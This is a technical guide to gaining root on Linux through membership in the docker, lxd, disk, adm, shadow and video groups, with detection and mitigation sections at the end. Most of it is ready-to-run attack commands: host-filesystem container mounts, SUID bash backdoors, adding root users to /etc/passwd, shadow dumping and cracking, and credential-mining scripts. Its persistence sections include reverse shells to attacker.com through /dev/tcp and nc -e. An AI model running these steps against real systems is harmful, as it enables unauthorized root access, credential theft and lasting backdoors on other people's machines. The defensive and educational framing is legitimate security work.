Linux privileged groups exploitation showing Docker, LXD, and disk group abuse

Linux Privileged Groups Exploitation: Abusing Group Memberships for Root Access

Comprehensive technical guide to exploiting privileged Linux group memberships including Docker, LXD, disk, adm, and other high-risk groups for privilege escalation and system compromise.

Feb 19, 2026
Updated Dec 11, 2025
2 min read

Introduction

Linux group memberships are an often overlooked yet powerful privilege escalation vector in modern Unix-like systems. While most security professionals focus on SUID binaries, kernel exploits, and sudo misconfigurations, group-based privileges often provide equally effective paths to root access with significantly less complexity and detection risk. A user's group membership can grant access to powerful system resources, privileged operations, and administrative functions that, when properly exploited, lead directly to complete system compromise.

The danger of privileged group memberships stems from their widespread use for delegating administrative capabilities without granting full root access. System administrators frequently add users to groups like docker, lxd, disk, or sudo to enable specific tasks—container management, disk operations, or limited administrative functions. However, these delegations often create unintended security implications. A user in the docker group, for instance, has effective root-level access to the entire host filesystem through container mounting capabilities, yet this is rarely understood or documented in security policies.

What makes group-based privilege escalation particularly insidious is its legitimacy. Unlike exploiting vulnerabilities or misconfigurations, leveraging privileged group membership involves using systems exactly as designed. Security monitoring tools don't flag these actions as anomalous because they represent normal operations for users in those groups. Audit logs show legitimate use of authorized tools, making post-incident forensics challenging. This combination of power, legitimacy, and stealth makes privileged group exploitation a preferred technique for sophisticated adversaries.

The Group Permission Paradox

Adding a user to the docker group is functionally equivalent to granting root access. A user can mount the host filesystem into a privileged container and interact with it as root, effectively bypassing all traditional Unix permission controls. Yet many organizations treat Docker group membership as a convenience feature rather than a critical security control, creating a massive gap between perceived and actual privilege levels.

Technical Background

Understanding Linux Group Permissions

Linux implements discretionary access control (DAC) through a combination of user identifiers (UIDs), group identifiers (GIDs), and permission bits. Each process runs with a real UID/GID, effective UID/GID, and supplementary groups. When the kernel evaluates access permissions, it checks:

  1. Owner permissions if the process UID matches the resource owner
  2. Group permissions if the process GID (or any supplementary GID) matches the resource group
  3. Other permissions if neither UID nor GID matches

This simple model becomes complex when specific groups grant access to privileged system resources or administrative capabilities.

Permission Evaluation Flow:

Process attempting access

Check if UID = File Owner UID
         ↓ YES → Use Owner Permissions
         ↓ NO
Check if GID (or any supplementary GID) = File Group GID
         ↓ YES → Use Group Permissions
         ↓ NO
Use Other Permissions

High-Risk Groups Overview

GroupRisk LevelCapability GrantedExploitation Difficulty
dockerCRITICALContainer creation with host filesystem accessEasy
lxd/lxcCRITICALPrivileged container creationEasy
diskCRITICALRaw device access to all storageMedium
sudoCRITICALExecute commands as any userTrivial
admHIGHRead all system logsEasy
shadowHIGHRead /etc/shadow password hashesTrivial
rootCRITICALSupplementary root group accessVaries
videoMEDIUMAccess to framebuffer and GPUMedium
plugdevMEDIUMAccess to removable devicesMedium
staffLOW-HIGHVaries by system configurationVaries
kmemCRITICALKernel memory accessHard
sysHIGHSystem device accessMedium
ttyMEDIUMTerminal device accessMedium
kvmHIGHVirtual machine managementMedium
libvirtHIGHHypervisor managementMedium
vboxusersHIGHVirtualBox VM managementMedium

Why These Groups Are Dangerous

Docker/LXD Groups: These container runtime groups allow unprivileged users to spawn containers. Containers can be configured with privileged mode, host filesystem mounts, and host network access, effectively providing root-level access to the underlying host system. The escalation path is straightforward and requires only basic container knowledge.

Disk Group: Direct access to block devices (/dev/sda, /dev/nvme0n1) bypasses the entire filesystem permission layer. Users can read and modify any data on disk, including root-owned files, regardless of traditional Unix permissions. This includes reading /etc/shadow, modifying /etc/passwd, or accessing SSH keys.

ADM Group: While read-only, log access can expose sensitive information including credentials, authentication tokens, session IDs, and system configuration details. Logs often contain debugging information that reveals internal architecture and potential attack paths.

Shadow Group: Direct read access to /etc/shadow provides password hashes for offline cracking. Even with strong hashing algorithms like bcrypt or Argon2, this reduces security to password strength alone, bypassing rate limiting and account lockout mechanisms.

Enumeration and Discovery

Identifying Current Group Memberships

Check Your Own Groups

# Display current user's groups
id

# Output interpretation
# uid=1000(user) gid=1000(user) groups=1000(user),4(adm),27(sudo),999(docker)
#                                                    ↑     ↑       ↑
#                                                   adm   sudo   docker

# Get detailed group information
groups

# Show numeric GIDs
id -G

# Show group names
id -Gn

# Check specific group membership
getent group docker | grep $(whoami)

Enumerate All Privileged Groups

# List all groups on system
cat /etc/group

# Find which users are in privileged groups
for group in docker lxd disk sudo adm shadow root video; do
    echo "=== Group: $group ==="
    getent group $group
done

# Alternative method showing group members
grep -E '^(docker|lxd|disk|sudo|adm|shadow|root):' /etc/group

# Find all groups you're a member of across the system
cat /etc/group | grep $(whoami)

Discover Uncommon Privileged Groups

# Find groups with single-digit GIDs (usually system groups)
awk -F: '$3 < 100 {print $1,$3}' /etc/group

# Find groups with access to sensitive files
find / -type f \( -name "shadow" -o -name "sudoers" -o -name "id_rsa" \) \
  -exec ls -l {} \; 2>/dev/null

# Identify groups that own SUID binaries
find / -perm -4000 -exec ls -l {} \; 2>/dev/null | awk '{print $4}' | sort -u

Automated Enumeration Script

#!/bin/bash
# privileged_groups_enum.sh - Comprehensive group privilege enumeration

echo "[*] Privileged Group Enumeration Script"
echo ""

# Current user groups
echo "[+] Current user groups:"
id
echo ""

# Check for high-risk group memberships
DANGEROUS_GROUPS=("docker" "lxd" "lxc" "disk" "sudo" "adm" "shadow" "root"
                  "video" "kmem" "sys" "kvm" "libvirt" "vboxusers" "staff")

echo "[+] Dangerous group memberships for current user:"
FOUND=0
for group in "${DANGEROUS_GROUPS[@]}"; do
    if getent group "$group" 2>/dev/null | grep -q "\b$(whoami)\b"; then
        echo "    [!] Member of: $group"
        FOUND=1
    fi
done

if [ $FOUND -eq 0 ]; then
    echo "    [-] No dangerous groups found"
fi
echo ""

# List all users in dangerous groups
echo "[+] All users in dangerous groups:"
for group in "${DANGEROUS_GROUPS[@]}"; do
    MEMBERS=$(getent group "$group" 2>/dev/null | cut -d: -f4)
    if [ -n "$MEMBERS" ]; then
        echo "    $group: $MEMBERS"
    fi
done
echo ""

# Check writable directories owned by privileged groups
echo "[+] Writable directories owned by privileged groups:"
find / -type d -writable 2>/dev/null | while read dir; do
    GROUP=$(stat -c '%G' "$dir" 2>/dev/null)
    if [[ " ${DANGEROUS_GROUPS[*]} " =~ " ${GROUP} " ]]; then
        echo "    $dir (owned by $GROUP)"
    fi
done
echo ""

# Check for group-writable SUID binaries
echo "[+] Group-writable SUID binaries:"
find / -perm -4020 -type f -exec ls -l {} \; 2>/dev/null
echo ""

# Check sudo capabilities
echo "[+] Sudo capabilities:"
sudo -l 2>/dev/null || echo "    [-] Cannot check sudo permissions"
echo ""

# Check for container runtimes
echo "[+] Container runtime detection:"
which docker &>/dev/null && echo "    [+] Docker installed"
which lxc &>/dev/null && echo "    [+] LXC installed"
which lxd &>/dev/null && echo "    [+] LXD installed"
which podman &>/dev/null && echo "    [+] Podman installed"
echo ""

echo "[*] Enumeration complete"

Exploitation Techniques

Docker Group Exploitation

The Docker group provides the most straightforward path to root access. Users in the docker group can interact with the Docker daemon, which runs as root and can mount host filesystems into containers.

Basic Root Shell via Host Mount:

# Verify docker group membership
id | grep docker

# Method 1: Mount root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash

# Inside container
cd /hostfs
cat etc/shadow  # Read shadow file
chroot /hostfs  # Become root on host

# Method 2: Mount specific sensitive directories
docker run -v /root:/root -v /etc:/etc -it ubuntu /bin/bash

# Read root's SSH keys
cat /root/.ssh/id_rsa

# Read shadow passwords
cat /etc/shadow

# Add new root user
echo 'attacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

Extract Sensitive Files:

# Start container with host mount
docker run -v /:/hostfs -it ubuntu bash

# Inside container - copy shadow file
cp /hostfs/etc/shadow /tmp/shadow
chmod 644 /tmp/shadow

# Exit and copy from container to host
docker cp $(docker ps -lq):/tmp/shadow ./shadow

# Crack passwords offline
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
hashcat -m 1800 -a 0 shadow rockyou.txt

Create SUID Backdoor:

# Mount host filesystem
docker run -v /:/hostfs -it ubuntu bash

# Inside container
cp /bin/bash /hostfs/tmp/rootbash
chmod 4755 /hostfs/tmp/rootbash
chmod u+s /hostfs/tmp/rootbash

# Exit container
exit

# On host - execute SUID bash
/tmp/rootbash -p
# Now running as root

Running Privileged Container:

# Create fully privileged container
docker run --privileged -v /:/hostfs -it ubuntu bash

# Inside privileged container - even more capabilities
# Can load kernel modules, access all devices, etc.

# Method 1: Chroot to host
chroot /hostfs /bin/bash

# Method 2: Access raw devices
ls -la /hostfs/dev/sda*
dd if=/hostfs/dev/sda of=/tmp/disk.img bs=1M count=100

# Method 3: Mount host devices
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow

Privileged Container with Specific Capabilities:

# Grant specific capabilities
docker run --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE \
  -v /:/hostfs -it ubuntu bash

# SYS_ADMIN allows mounting filesystems
mount --bind /hostfs/etc /mnt
cat /mnt/shadow

# DAC_OVERRIDE bypasses file permissions
cat /hostfs/etc/shadow  # Read without normal permission checks

CVE-2019-5736 RunC Escape (if vulnerable):

# Check runC version
docker run ubuntu runc --version

# If vulnerable to CVE-2019-5736
# Use exploit from GitHub
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# Compile exploit
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

# Deploy in container
docker run -it -v /path/to/exploit:/exploit ubuntu bash
/exploit

Kernel Module Loading:

# Run with kernel module access
docker run --privileged -v /lib/modules:/lib/modules -v /:/hostfs -it ubuntu

# Load malicious kernel module
cat > rootkit.c <<'EOF'
#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void) {
    // Privilege escalation code
    return 0;
}

void cleanup_module(void) {}
EOF

# Compile and load
make -C /lib/modules/$(uname -r)/build M=$PWD modules
insmod rootkit.ko

Docker Socket Mounting:

# If docker.sock is accessible
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu

# Inside container, install docker client
apt update && apt install -y docker.io

# Now can control host docker daemon
docker -H unix:///var/run/docker.sock run -v /:/hostfs -it ubuntu

Persistence via Docker Container:

# Create persistent backdoor container
docker run -d --name backdoor --restart=always \
  -v /:/hostfs -p 4444:4444 ubuntu \
  bash -c 'while true; do nc -lvp 4444 -e /bin/bash; done'

# Or reverse shell container
docker run -d --name revshell --restart=always \
  ubuntu bash -c 'while true; do \
    bash -i >& /dev/tcp/attacker.com/4444 0>&1; \
    sleep 60; done'

Extracting Docker Secrets:

# Access docker volumes
docker volume ls
docker volume inspect <volume_name>

# Mount and read volume contents
docker run -v <volume_name>:/data -it ubuntu bash
cat /data/secrets.txt

# Check for credentials in environment variables
docker inspect <container_id> | grep -i env

# Extract from running containers
docker exec <container_id> cat /run/secrets/db_password

LXD/LXC Group Exploitation

LXD (Linux Container Daemon) provides similar escalation paths to Docker but with a different approach.

Basic LXD Container Privilege Escalation

# Verify LXD group membership
id | grep lxd

# Initialize LXD (if not already done)
lxd init
# Choose all defaults

# Method 1: Import Alpine Linux image
# On attacker machine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine

# Transfer to target (alpine-v3.xx-x86_64.tar.gz)

# On target machine
lxc image import alpine-v3.xx-x86_64.tar.gz --alias alpine

# Create privileged container
lxc init alpine privesc -c security.privileged=true

# Mount host filesystem
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true

# Start container
lxc start privesc

# Execute shell
lxc exec privesc /bin/sh

# Inside container - now have root access to host filesystem
cd /mnt/root/root
cat .ssh/id_rsa

Alternative: Using Ubuntu Image:

# Launch Ubuntu container with privileged access
lxc launch ubuntu:20.04 privesc -c security.privileged=true

# Add host filesystem device
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true

# Access container
lxc exec privesc /bin/bash

# Navigate to host filesystem
cd /mnt/root

LXD Persistence Mechanisms

# Create permanent backdoor container
lxc init ubuntu:20.04 backdoor -c security.privileged=true
lxc config device add backdoor hostfs disk source=/ path=/mnt/root recursive=true

# Configure auto-start
lxc config set backdoor boot.autostart true

# Add reverse shell on container start
lxc exec backdoor -- bash -c "cat > /etc/rc.local <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
exit 0
EOF"

lxc exec backdoor -- chmod +x /etc/rc.local

# Start the container
lxc start backdoor

Add SSH Backdoor:

# Access host filesystem through LXD
lxc exec privesc /bin/bash

# Add SSH key to root's authorized_keys
cd /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> authorized_keys
chmod 600 authorized_keys

# Now can SSH as root
ssh root@target-ip

LXD Without Root (UID Mapping Bypass)

# Even without security.privileged=true, can use UID mapping
lxc init ubuntu:20.04 mycontainer

# Configure UID mapping to map container root to host user
lxc config set mycontainer raw.idmap "both $(id -u) 0"

# Mount specific directories
lxc config device add mycontainer hostdir disk source=/home path=/mnt/home

# Start and access
lxc start mycontainer
lxc exec mycontainer /bin/bash

# Inside container, you're root (UID 0 in container namespace)
# But mapped to your host UID for file operations

Disk Group Exploitation

The disk group provides raw access to block devices, bypassing filesystem permissions entirely.

# Verify disk group membership
id | grep disk

# List available block devices
ls -la /dev/sd* /dev/nvme*
lsblk

# Method 1: Direct device reading with debugfs
debugfs /dev/sda1

# Inside debugfs
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa
debugfs: quit

# Method 2: Mount filesystem to accessible location
mkdir /tmp/mnt
mount /dev/sda1 /tmp/mnt

# Access as if root
cat /tmp/mnt/etc/shadow
cat /tmp/mnt/root/.ssh/id_rsa

# Unmount
umount /tmp/mnt

Extract Entire Shadow File:

# Using dd to read raw device
dd if=/dev/sda1 of=/tmp/disk.img bs=4M

# Mount the image
mkdir /tmp/mnt
mount -o loop /tmp/disk.img /tmp/mnt

# Extract shadow
cat /tmp/mnt/etc/shadow > /tmp/shadow

# Cleanup
umount /tmp/mnt
rm /tmp/disk.img

# Crack passwords
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow

Modify Files Directly:

# Clone device to writable image
dd if=/dev/sda1 of=/tmp/part.img bs=4M count=1024

# Mount and modify
mkdir /tmp/mnt
mount -o loop /tmp/part.img /tmp/mnt

# Add backdoor user
echo 'backdoor::0:0:root:/root:/bin/bash' >> /tmp/mnt/etc/passwd

# Umount
umount /tmp/mnt

# Write back to device (DANGEROUS - can corrupt filesystem)
# dd if=/tmp/part.img of=/dev/sda1 bs=4M

ADM Group Exploitation

The adm group provides read access to log files, which can contain sensitive information.

# Verify adm group membership
id | grep adm

# Search for credentials in logs
grep -ri "password\|passwd" /var/log/ 2>/dev/null
grep -ri "api.*key\|secret" /var/log/ 2>/dev/null
grep -ri "token" /var/log/ 2>/dev/null

# Find database credentials
grep -ri "mysql\|postgres\|mongodb" /var/log/ 2>/dev/null

# Search authentication logs
cat /var/log/auth.log | grep -i "password\|failed\|accepted"

# Find sudo usage
grep -i "sudo" /var/log/auth.log | tail -20

# Extract user activities
cat /var/log/syslog | grep "session opened"

# Find clear-text passwords in application logs
find /var/log -type f -exec grep -i "pass=" {} \; 2>/dev/null

Automated Log Mining:

#!/bin/bash
# log_miner.sh - Extract sensitive information from logs

OUTFILE="/tmp/log_findings.txt"
echo "[*] Mining logs for sensitive information..." > $OUTFILE

# Search patterns
PATTERNS=(
    "password[[:space:]]*="
    "passwd[[:space:]]*="
    "api_key"
    "api-key"
    "apikey"
    "secret[[:space:]]*="
    "token[[:space:]]*="
    "access_token"
    "mysql.*password"
    "postgres.*password"
    "mongodb.*password"
)

# Search all logs
for pattern in "${PATTERNS[@]}"; do
    echo "=== Pattern: $pattern ===" >> $OUTFILE
    grep -rEi "$pattern" /var/log/ 2>/dev/null >> $OUTFILE
done

# Search for SSH keys in logs
echo "=== SSH Keys ===" >> $OUTFILE
grep -r "BEGIN.*PRIVATE KEY" /var/log/ 2>/dev/null >> $OUTFILE

# Search for authentication failures (enumerate valid users)
echo "=== Valid Usernames ===" >> $OUTFILE
grep "Failed password" /var/log/auth.log 2>/dev/null | \
    awk '{print $(NF-5)}' | sort -u >> $OUTFILE

cat $OUTFILE

Shadow Group Exploitation

Direct access to the shadow password file:

# Verify shadow group membership
id | grep shadow

# Read shadow file
cat /etc/shadow

# Extract user hashes
cat /etc/shadow | grep -v '*' | grep -v '!'

# Copy for offline cracking
cp /etc/shadow /tmp/shadow
chmod 644 /tmp/shadow

# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow

# Crack with Hashcat
hashcat -m 1800 -a 0 /tmp/shadow rockyou.txt

Video Group Exploitation

Access to framebuffer and screen capture:

# Verify video group membership
id | grep video

# Capture screen
cat /dev/fb0 > /tmp/screen.raw

# Convert to viewable format (requires ffmpeg)
ffmpeg -f rawvideo -pix_fmt rgb565 -s 1920x1080 \
    -i /tmp/screen.raw /tmp/screen.png

# Or use existing tools
apt-get install scrot
scrot /tmp/screenshot.png

Detection and Monitoring

Audit Group Membership Changes

# Monitor group file changes
auditctl -w /etc/group -p wa -k group_changes
auditctl -w /etc/gshadow -p wa -k group_changes

# Monitor usermod command
auditctl -a always,exit -F path=/usr/sbin/usermod -F perm=x -k user_modification

# Monitor gpasswd command
auditctl -a always,exit -F path=/usr/bin/gpasswd -F perm=x -k group_modification

Monitor Privileged Group Usage

# Create monitoring script
cat > /usr/local/bin/monitor_groups.sh <<'EOF'
#!/bin/bash

LOGFILE="/var/log/privileged_group_monitor.log"
GROUPS=("docker" "lxd" "disk" "sudo")

# Check for new users in privileged groups
for group in "${GROUPS[@]}"; do
    CURRENT=$(getent group "$group" | cut -d: -f4)
    BASELINE=$(cat /var/lib/group_baseline/$group 2>/dev/null)

    if [ "$CURRENT" != "$BASELINE" ]; then
        echo "$(date): Group $group changed from '$BASELINE' to '$CURRENT'" >> $LOGFILE
        logger -t group_monitor "ALERT: Group $group membership changed"

        # Update baseline
        echo "$CURRENT" > /var/lib/group_baseline/$group
    fi
done
EOF

chmod +x /usr/local/bin/monitor_groups.sh

# Create baseline directory
mkdir -p /var/lib/group_baseline

# Initialize baselines
for group in docker lxd disk sudo; do
    getent group "$group" | cut -d: -f4 > /var/lib/group_baseline/$group
done

# Schedule regular checks
echo "*/5 * * * * root /usr/local/bin/monitor_groups.sh" >> /etc/crontab

Detect Container Exploitation

# Monitor Docker commands
auditctl -w /var/run/docker.sock -p rw -k docker_socket_access
auditctl -a always,exit -F path=/usr/bin/docker -F perm=x -k docker_execution

# Monitor LXD usage
auditctl -a always,exit -F path=/usr/bin/lxc -F perm=x -k lxc_execution

# Alert on privileged container creation
# Parse docker logs
tail -f /var/log/syslog | grep --line-buffered "docker run.*--privileged" | \
while read line; do
    logger -t security_alert "PRIVILEGED CONTAINER DETECTED: $line"
done &

Log Analysis Queries

# Find docker privileged container starts
journalctl -u docker | grep "privileged"

# Find LXD privileged containers
lxc list | grep -i "privileged"

# Check for host filesystem mounts in containers
docker inspect $(docker ps -q) | grep -i "\"Source\": \"/\""

# Find disk group usage
ausearch -k disk_access | aureport -f

Mitigation and Defense

Remove Unnecessary Group Memberships

Audit Current Memberships

# List all members of dangerous groups
for group in docker lxd disk sudo adm shadow video; do
    echo "=== $group ==="
    getent group $group
done

# Remove user from group
gpasswd -d username docker
gpasswd -d username lxd

# Verify removal
id username

Implement Least Privilege

# Instead of adding to docker group, use sudo with restrictions
cat > /etc/sudoers.d/docker-restricted <<'EOF'
# Allow specific users to run specific docker commands
developer ALL=(ALL) NOPASSWD: /usr/bin/docker ps
developer ALL=(ALL) NOPASSWD: /usr/bin/docker logs *
developer ALL=(ALL) NOPASSWD: /usr/bin/docker exec -it * /bin/bash

# Deny dangerous operations
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * --privileged *
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * -v / *
EOF

chmod 440 /etc/sudoers.d/docker-restricted

Use Docker Rootless Mode

# Install rootless Docker
curl -fsSL https://get.docker.com/rootless | sh

# Configure user namespace remapping
echo "$(whoami):100000:65536" | sudo tee /etc/subuid
echo "$(whoami):100000:65536" | sudo tee /etc/subgid

# Enable and start rootless docker
systemctl --user enable docker
systemctl --user start docker

# Verify rootless mode
docker context use rootless
docker info | grep -i rootless

Harden Container Runtime

# Configure Docker daemon with security options
cat > /etc/docker/daemon.json <<'EOF'
{
  "userns-remap": "default",
  "no-new-privileges": true,
  "seccomp-profile": "/etc/docker/seccomp-default.json",
  "apparmor-profile": "docker-default"
}
EOF

# Restart Docker
systemctl restart docker

# For LXD, enforce unprivileged containers by default
cat > /etc/lxd/lxd.conf <<'EOF'
security.privileged: false
security.nesting: false
EOF

Implement AppArmor/SELinux Profiles

# Create Docker AppArmor profile
cat > /etc/apparmor.d/docker-restricted <<'EOF'
#include <tunables/global>

profile docker-restricted flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  # Deny mount of host root
  deny mount / -> /,
  deny mount /** -> /,

  # Deny privileged operations
  deny capability sys_admin,
  deny capability sys_module,
  deny capability dac_override,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/docker-restricted

# Apply to containers
docker run --security-opt apparmor=docker-restricted ...

Monitoring and Alerting

# Set up real-time alerts for group changes
cat > /etc/audit/rules.d/90-group-monitoring.rules <<'EOF'
# Monitor group file modifications
-w /etc/group -p wa -k group_modification
-w /etc/gshadow -p wa -k group_modification

# Monitor commands that modify groups
-w /usr/sbin/usermod -p x -k user_group_modification
-w /usr/sbin/groupmod -p x -k group_modification
-w /usr/bin/gpasswd -p x -k group_password_modification

# Monitor privileged group usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=docker -S execve -k docker_usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=lxd -S execve -k lxd_usage
EOF

# Reload audit rules
augenrules --load

# Create alert handler
cat > /usr/local/bin/audit_alert.sh <<'EOF'
#!/bin/bash
# Monitor audit log and send alerts

tail -f /var/log/audit/audit.log | while read line; do
    if echo "$line" | grep -q "group_modification"; then
        echo "ALERT: Group modification detected: $line" | \
            mail -s "Security Alert: Group Modification" [email protected]
    fi
done
EOF

chmod +x /usr/local/bin/audit_alert.sh

# Run as service
systemctl enable audit-alert
systemctl start audit-alert

Security Best Practices

Group Management Policy

  • Audit group memberships quarterly at minimum
  • Document justification for all privileged group memberships
  • Remove default memberships for new users
  • Use sudo with restrictions instead of privileged groups when possible
  • Implement rootless containers where feasible
  • Enable user namespaces for isolation
  • Monitor group file changes with auditd
  • Alert on privileged group usage in SIEM
  • Regular access reviews for all privileged groups
  • Principle of least privilege for all group assignments

Alternative Approaches

Instead of Docker group:

  • Use Docker rootless mode
  • Use Podman (rootless by default)
  • Implement sudo with command restrictions
  • Use Kubernetes RBAC for container orchestration

Instead of LXD group:

  • Use unprivileged containers exclusively
  • Implement user namespace mapping
  • Use alternative container runtimes with better isolation

Instead of Disk group:

  • Never grant disk group for operations
  • Use sudo with specific device access
  • Implement filesystem ACLs for fine-grained control

References

MITRE ATT&CK Techniques

Linux Documentation

Security Resources

Next Steps

After identifying privileged group memberships:

  • Immediately audit who has access to dangerous groups
  • Review justifications for all privileged group memberships
  • Remove unnecessary group memberships following least privilege
  • Implement monitoring for group file changes and usage
  • Deploy containerization security controls (rootless, AppArmor, etc.)
  • Explore related privilege escalation techniques:

Takeaway: Linux privileged group memberships represent critical security boundaries that are frequently misunderstood and inadequately protected. The docker, lxd, and disk groups in particular provide effective root-equivalent access through legitimate system functionality rather than exploitation. Comprehensive group auditing, least privilege principles, rootless container technologies, and continuous monitoring form the foundation of defense against group-based privilege escalation. Make group membership a first-class security control in your Linux hardening program, with the same rigor applied to SUID binaries and sudo configurations.

Last updated on